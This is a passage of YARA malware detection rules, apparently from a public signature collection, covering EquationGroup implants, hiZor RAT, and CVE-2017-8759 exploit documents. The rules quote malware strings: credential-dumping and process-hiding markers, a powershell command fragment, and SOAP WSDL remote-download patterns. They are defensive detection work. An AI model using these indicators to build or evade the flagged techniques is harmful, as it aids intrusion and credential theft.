		$s3 = "Pattern match of code failed" fullword wide
		$s4 = "Base for necessary auditing dll not found" fullword wide
		$s5 = "Security auditing has been disabled" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them ) or ( all of them )
}

rule EquationGroup_ProcessHide_Lp
{
	meta:
		description = "EquationGroup Malware - file ProcessHide_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
		id = "b0842897-f591-5213-9a26-0f8732e6f3b8"

	strings:
		$x1 = "Invalid flag.  Can only hide or unhide" fullword wide
		$x2 = "Process elevation failed" fullword wide
		$x3 = "Unknown error hiding process" fullword wide
		$x4 = "Invalid process links found in EPROCESS" fullword wide
		$x5 = "Unable to find SYSTEM process" fullword wide
		$x6 = "Process hidden, but EPROCESS location lost" fullword wide
		$x7 = "Invalid EPROCESS location for given ID" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them ) or ( 3 of them )
}

rule EquationGroup_pwdump_Implant
{
	meta:
		description = "EquationGroup Malware - file pwdump_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "dfd5768a4825d1c7329c2e262fde27e2b3d9c810653585b058fcf9efa9815964"
		id = "55984c20-539e-5e51-b3c4-caa6157c993d"

	strings:
		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
		$s8 = ".?AVFeFinallySuccess@@" fullword ascii
		$s3 = "\\system32\\win32k.sys" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_EquationDrug_Gen_5
{
	meta:
		description = "EquationGroup Malware - file PC_Level3_http_dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "4ebfc1f6ec6a0e68e47e5b231331470a4483184cf715a578191b91ba7c32094d"
		id = "a67655eb-5593-5ac7-a6aa-81f235fa3c33"

	strings:
		$s1 = "Psxssdll.dll" fullword wide
		$s2 = "Posix Server Dll" fullword wide
		$s3 = "itanium" fullword wide
		$s6 = "Copyright (C) Microsoft" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_PC_Level3_http_flav_dll
{
	meta:
		description = "EquationGroup Malware - file PC_Level3_http_flav_dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "27972d636b05a794d17cb3203d537bcf7c379fafd1802792e7fb8e72f130a0c4"
		id = "4bc4804b-c6d2-5c94-b451-24bb0f3dba43"

	strings:
		$s1 = "Psxssdll.dll" fullword wide
		$s2 = "Posix Server Dll" fullword wide
		$s4 = "itanium" fullword wide
		$s5 = "RHTTP/1.0" fullword wide
		$s8 = "Copyright (C) Microsoft" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_LSADUMP_Lp
{
	meta:
		description = "EquationGroup Malware - file LSADUMP_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
		id = "8068ca41-6365-5c97-82f2-be9ad89628e0"

	strings:
		$x1 = "LSADUMP - - ERROR - - Injected" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule EquationGroup_EquationDrug_mstcp32
{
	meta:
		description = "EquationGroup Malware - file mstcp32.sys"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		modified = "2023-01-06"
		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
		id = "bed26a7b-933f-5578-b65c-65179959050d"

	strings:
		$s1 = "mstcp32.sys" fullword wide
		$s2 = "p32.sys" fullword ascii
		$s3 = "\\Registry\\User\\CurrentUser\\" wide
		$s4 = "\\DosDevices\\%ws" wide
		$s5 = "\\Device\\%ws_%ws" wide
		$s6 = "sys\\mstcp32.dbg" fullword ascii
		$s7 = "%ws%03d%ws%wZ" fullword wide
		$s8 = "TCP/IP driver" fullword wide
		$s9 = "\\Device\\%ws" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 7 of them ) or ( all of them )
}

rule EquationGroup_nethide_Lp
{
	meta:
		description = "EquationGroup Malware - file nethide_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
		id = "39e96239-2189-5993-90ba-27e47f7bfdea"

	strings:
		$x1 = "Error: Attempt to hide all TCP connections (any:any)." fullword wide
		$x2 = "privilegeRunInKernelMode failed" fullword wide
		$x3 = "Failed to unhide requested connection" fullword wide
		$x4 = "Nethide running in USER_MODE" fullword wide
		$x5 = "Not enough slots for all of the list.  Some entries may have not been hidden." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
}

rule EquationGroup_PC_Level4_flav_dll_x64
{
	meta:
		description = "EquationGroup Malware - file PC_Level4_flav_dll_x64"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
		id = "f05dd0b6-106c-5d1d-ba09-4ac3035e7030"

	strings:
		$s1 = "wship.dll" fullword wide
		$s2 = "   IP:      " fullword ascii
		$s3 = "\\\\.\\%hs" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_PC_Level4_flav_exe
{
	meta:
		description = "EquationGroup Malware - file PC_Level4_flav_exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "33ba9f103186b6e52d8d69499512e7fbac9096e7c5278838127488acc3b669a9"
		id = "eb93a798-4e7e-52dc-a39b-bfb63a58d250"

	strings:
		$s1 = "Extended Memory Runtime Process" fullword wide
		$s2 = "memess.exe" fullword wide
		$s3 = "\\\\.\\%hs" fullword ascii
		$s4 = ".?AVOpenSocket@@" fullword ascii
		$s5 = "Corporation. All rights reserved." fullword wide
		$s6 = "itanium" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_processinfo_Implant
{
	meta:
		description = "EquationGroup Malware - file processinfo_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "aadfa0b1aec4456b10e4fb82f5cfa918dbf4e87d19a02bcc576ac499dda0fb68"
		id = "b110d819-2298-507b-91bb-2787bb11322e"

	strings:
		$s1 = "hZwOpenProcessToken" fullword ascii
		$s2 = "hNtQueryInformationProcess" fullword ascii
		$s3 = "No mapping" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule EquationGroup_EquationDrug_Gen_2
{
	meta:
		description = "EquationGroup Malware - file PortMap_Implant.dll"
		author = "Auto Generated"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "964762416840738b1235ed4ae479a4b117b8cdcc762a6737e83bc2062c0cf236"
		id = "662ee1cf-b837-5362-84a8-1af7335d5e1b"

	strings:
		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them )
}

rule EquationGroup_EquationDrug_ntevt
{
	meta:
		description = "EquationGroup Malware - file ntevt.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "45e5e1ea3456d7852f5c610c7f4447776b9f15b56df7e3a53d57996123e0cebf"
		id = "36d23adb-dafe-5e99-8976-b146ceca2f9b"

	strings:
		$s1 = "ntevt.sys" fullword ascii
		$s2 = "c:\\ntevt.pdb" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them )
}

rule EquationGroup_nethide_Implant
{
	meta:
		description = "EquationGroup Malware - file nethide_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		modified = "2023-01-27"
		hash1 = "b2daf9058fdc5e2affd5a409aebb90343ddde4239331d3de8edabeafdb3a48fa"
		id = "36559b69-1718-5d9b-8d6f-3db4becba0c4"

	strings:
		$s1 = "\\\\.\\dlcndi" fullword ascii
		$s2 = "s\\drivers\\" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and all of them )
}

rule EquationGroup_EquationDrug_Gen_4
{
	meta:
		description = "EquationGroup Malware - file PC_Level4_flav_dll"
		author = "Auto Generated"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "227faeb770ba538fb85692b3dfcd00f76a0a5205d1594bd0969a1e535ee90ee1"
		id = "e3fc376b-f7cc-5dfa-bcf4-4991962a4cf9"

	strings:
		$op1 = { 11 8b da 23 df 8d 1c 9e c1 fb 02 33 da 23 df 33 }
		$op2 = { c3 0c 57 8b 3b eb 27 8b f7 83 7e 08 00 8b 3f 74 }
		$op3 = { 00 0f b7 5e 14 8d 5c 33 18 8b c3 2b 45 08 50 ff }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_EquationDrug_tdi6
{
	meta:
		description = "EquationGroup Malware - file tdi6.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "12c082f74c0916a0e926488642236de3a12072a18d29c97bead15bb301f4b3f8"
		id = "c6dbc28a-ec52-5256-afff-ab15ed1b90a6"

	strings:
		$s1 = "tdi6.sys" fullword wide
		$s3 = "TDI IPv6 Wrapper" fullword wide
		$s5 = "Corporation. All rights reserved." fullword wide
		$s6 = "FailAction" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_modifyAuthentication_Implant
{
	meta:
		description = "EquationGroup Malware - file modifyAuthentication_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "e1dff24af5bfc991dca21b4e3a19ffbc069176d674179eef691afc6b1ac6f805"
		id = "990035c5-cd9c-59e0-b244-e2caafd2561f"

	strings:
		$s1 = "LSASS.EXE" fullword wide
		$s2 = "hsamsrv.dll" fullword ascii
		$s3 = "hZwOpenProcess" fullword ascii
		$s4 = "hOpenProcess" fullword ascii
		$s5 = ".?AVFeFinallyFailure@@" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_ntfltmgr
{
	meta:
		description = "EquationGroup Malware - file ntfltmgr.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
		id = "dd7fd371-a097-5df5-9ffd-89babbadee96"

	strings:
		$s1 = "ntfltmgr.sys" fullword wide
		$s2 = "ntfltmgr.pdb" fullword ascii
		$s4 = "Network Filter Manager" fullword wide
		$s5 = "Corporation. All rights reserved." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_DXGHLP16
{
	meta:
		description = "EquationGroup Malware - file DXGHLP16.SYS"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		modified = "2023-01-06"
		hash1 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
		id = "d9e39c22-f606-5d9c-a5e2-e536b8566595"

	strings:
		$s1 = "DXGHLP16.SYS" fullword wide
		$s2 = "P16.SYS" fullword ascii
		$s3 = "\\Registry\\User\\CurrentUser\\" wide
		$s4 = "\\DosDevices\\%ws" wide
		$s5 = "\\Device\\%ws_%ws" wide
		$s6 = "ct@SYS\\DXGHLP16.dbg" fullword ascii
		$s7 = "%ws%03d%ws%wZ" fullword wide
		$s8 = "TCP/IP driver" fullword wide
		$s9 = "\\Device\\%ws" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_EquationDrug_msgkd
{
	meta:
		description = "EquationGroup Malware - file msgkd.ex_"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "25eec68fc9f0d8d1b5d72c9eae7bee29035918e9dcbeab13e276dec4b2ad2a56"
		id = "41019119-9bf4-5a45-b74b-f75ab7738821"

	strings:
		$s1 = "KEysud" fullword ascii
		$s2 = "XWWWPWS" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_RunAsChild_Lp
{
	meta:
		description = "EquationGroup Malware - file RunAsChild_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
		id = "f0623c3f-3a49-5cdf-89ea-2b3273fd8324"

	strings:
		$s1 = "Privilege elevation failed" fullword wide
		$s2 = "Unable to open parent process" fullword wide
		$s4 = "Invalid input to lpRunAsChildPPC" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_EquationDrug_Gen_6
{
	meta:
		description = "EquationGroup Malware - file PC_Level3_dll_x64"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "339855618fb3ef53987b8c14a61bd4519b2616e766149e0c21cbd7cbe7a632c9"
		id = "99b2fab0-1298-5d48-a78b-eb59942ecfca"

	strings:
		$s1 = "Psxssdll.dll" fullword wide
		$s2 = "Posix Server Dll" fullword wide
		$s3 = "Copyright (C) Microsoft" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_PC_Level3_http_flav_dll_x64
{
	meta:
		description = "EquationGroup Malware - file PC_Level3_http_flav_dll_x64"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "4e0209b4f5990148f5d6dee47dbc7021bf78a782b85cef4d6c8be22d698b884f"
		id = "93a3d47d-1dac-5621-8e69-d6d23b7628db"

	strings:
		$s1 = "Psxssdll.dll" fullword wide
		$s2 = "Posix Server Dll" fullword wide
		$s3 = ".?AVOpenSocket@@" fullword ascii
		$s4 = "RHTTP/1.0" fullword wide
		$s5 = "Copyright (C) Microsoft" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( all of ( $s* ) ) ) or ( all of them )
}

rule EquationGroup_EquationDrug_Gen_3
{
	meta:
		description = "EquationGroup Malware - file mssld.dll"
		author = "Auto Generated"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "69dcc150468f7707cc8ef618a4cea4643a817171babfba9290395ada9611c63c"
		id = "f664ad78-1820-5434-94cc-94f98b32e654"

	strings:
		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule EquationGroup_GetAdmin_Lp
{
	meta:
		description = "EquationGroup Malware - file GetAdmin_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
		id = "3bbe0553-a5a3-5207-a94e-ad978606d9a4"

	strings:
		$x1 = "Current user is System -- unable to join administrators group" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_ModifyGroup_Lp
{
	meta:
		description = "EquationGroup Malware - file ModifyGroup_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
		id = "82c9617a-3d78-525f-a507-76c87aad7c59"

	strings:
		$s1 = "Modify Privileges failed" fullword wide
		$s2 = "Given privilege name not found" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_pwdump_Lp
{
	meta:
		description = "EquationGroup Malware - file pwdump_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
		id = "6f356f13-9ec1-5dd9-91b2-6a3071398e81"

	strings:
		$x1 = "PWDUMP - - ERROR - -" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_EventLogEdit_Implant
{
	meta:
		description = "EquationGroup Malware - file EventLogEdit_Implant.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "0bb750195fbd93d174c2a8e20bcbcae4efefc881f7961fdca8fa6ebd68ac1edf"
		id = "40239dd0-4159-5c10-96b3-4f1e28c92d97"

	strings:
		$s1 = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%ls" fullword wide
		$s2 = "Ntdll.dll" fullword ascii
		$s3 = "hZwOpenProcess" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_PortMap_Lp
{
	meta:
		description = "EquationGroup Malware - file PortMap_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
		id = "e1851a17-9858-5c93-9993-2da0559e5d2e"

	strings:
		$s1 = "Privilege elevation failed" fullword wide
		$s2 = "Portmap ended due to max number of ports" fullword wide
		$s3 = "Invalid parameters received for portmap" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them )
}

rule EquationGroup_ProcessOptions_Lp
{
	meta:
		description = "EquationGroup Malware - file ProcessOptions_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
		id = "5ccb9751-fbcc-538c-8d55-dfc495067ce5"

	strings:
		$s1 = "Invalid parameter received by implant" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_PassFreely_Lp
{
	meta:
		description = "EquationGroup Malware - file PassFreely_Lp.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		hash1 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
		id = "5fb99194-f0df-54aa-9f20-7f8458155e62"

	strings:
		$s1 = "Unexpected value in memory.  Run the 'CheckOracle' or 'memcheck' command to identify the problem" fullword wide
		$s2 = "Oracle process memory successfully modified!" fullword wide
		$s3 = "Unable to reset the memory protection mask to the memory" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule EquationGroup_EquationDrug_Gen_1
{
	meta:
		description = "EquationGroup Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tcSoiJ"
		date = "2017-01-13"
		super_rule = 1
		hash1 = "694be2698bcc5c7a1cce11f8ef65c1c96a883d14b98148c36b32888fb58b6a7e"
		hash2 = "73d1d55493886639c619e9f5e312daab93e4feeb74f24dbe51593842baac8d15"
		hash3 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
		hash4 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
		hash5 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
		hash6 = "8f5b97124de9fce16e2cfecb7dd2e171824c9e07546db7b3bee7c5f2c92ceda9"
		hash7 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
		hash8 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
		hash9 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
		hash10 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
		hash11 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
		hash12 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
		hash13 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
		hash14 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
		hash15 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
		id = "331d7ba5-e3fa-5ab7-b4de-c7af764be03d"

	strings:
		$x1 = "Injection Lib -  GetProcAddress failed on Kernel32.DLL function" fullword wide
		$x2 = "Injection Lib -  JUMPUP failed to open requested process" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of ( $x* ) ) or ( all of them )
}

import "pe"

rule EquationDrug_MS_Identifier
{
	meta:
		description = "Microsoft Identifier used in EquationDrug Platform"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		date = "2015/03/11"
		id = "c934c117-bf5a-5688-acd9-5d6c6aacd6bc"

	strings:
		$s1 = "Microsoft(R) Windows (TM) Operating System" fullword wide

	condition:
		$s1 and pe.timestamp > 946684800
}

rule apt_win32_dll_rat_hiZorRAT
{
	meta:
		dexcription = "Detects hiZor RAT"
		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
		hash2 = "d9821468315ccd3b9ea03161566ef18e"
		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
		ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
		id = "06fd02f2-2630-5aac-8011-67d67ff42c3f"

	strings:
		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
		$s4 = "CmdProcessExited" wide ascii
		$s5 = "rootDir" wide ascii
		$s6 = "DllRegisterServer" wide ascii
		$s7 = "GetNativeSystemInfo" wide ascii
		$s8 = "%08x%08x%08x%08x" wide ascii

	condition:
		( uint16( 0 ) == 0x5A4D or uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule CVE_2017_8759_Mal_HTA
{
	meta:
		description = "Detects malicious files related to CVE-2017-8759 - file cmd.hta"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
		date = "2017-09-14"
		hash1 = "fee2ab286eb542c08fdfef29fabf7796a0a91083a0ee29ebae219168528294b5"
		id = "e53b5149-fc94-5da5-8e35-7f09a9cd79fd"

	strings:
		$x1 = "Error = Process.Create(\"powershell -nop cmd.exe /c" fullword ascii

	condition:
		( uint16( 0 ) == 0x683c and filesize < 1KB and all of them )
}

rule CVE_2017_8759_Mal_Doc
{
	meta:
		description = "Detects malicious files related to CVE-2017-8759 - file Doc1.doc"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
		date = "2017-09-14"
		modified = "2023-11-21"
		hash1 = "6314c5696af4c4b24c3a92b0e92a064aaf04fd56673e830f4d339b8805cc9635"
		id = "48587c13-7661-5987-8331-732115f7823b"

	strings:
		$s1 = "soap:wsdl=http://" ascii wide
		$s2 = "soap:wsdl=https://" ascii wide
		$s3 = "soap:wsdl=http%3" ascii wide
		$s4 = "soap:wsdl=https%3" ascii wide
		$c1 = "Project.ThisDocument.AutoOpen" fullword wide

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 500KB and ( 1 of ( $s* ) and $c1 )
}

rule CVE_2017_8759_SOAP_via_JS
{
	meta:
		description = "Detects SOAP WDSL Download via JavaScript"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/buffaloverflow/status/907728364278087680"
		date = "2017-09-14"
		score = 60
		id = "9e96cea3-4282-5f25-ad37-51bd69258790"

	strings:
		$s1 = "GetObject(\"soap:wsdl=https://" ascii wide nocase
		$s2 = "GetObject(\"soap:wsdl=http://" ascii wide nocase

	condition:
		( filesize < 3KB and 1 of them )
}

rule CVE_2017_8759_SOAP_Excel
{
	meta:
		description = "Detects malicious files related to CVE-2017-8759"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/buffaloverflow/status/908455053345869825"
		date = "2017-09-15"
		score = 60
		id = "940ec910-49a4-5271-97e4-8536db271b80"

	strings:
		$s1 = "|'soap:wsdl=" ascii wide nocase

	condition:
		( filesize < 300KB and 1 of them )
}

rule CVE_2017_8759_SOAP_txt
{
	meta:
		description = "Detects malicious file in releation with CVE-2017-8759 - file exploit.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
		date = "2017-09-14"
		hash1 = "840ad14e29144be06722aff4cc04b377364eeed0a82b49cc30712823838e2444"
		id = "36474420-4fa9-5264-a46b-bb2434624710"

	strings:
		$s1 = /<soap:address location="http[s]?:\/\/[^"]{8,140}.hta"/ ascii wide
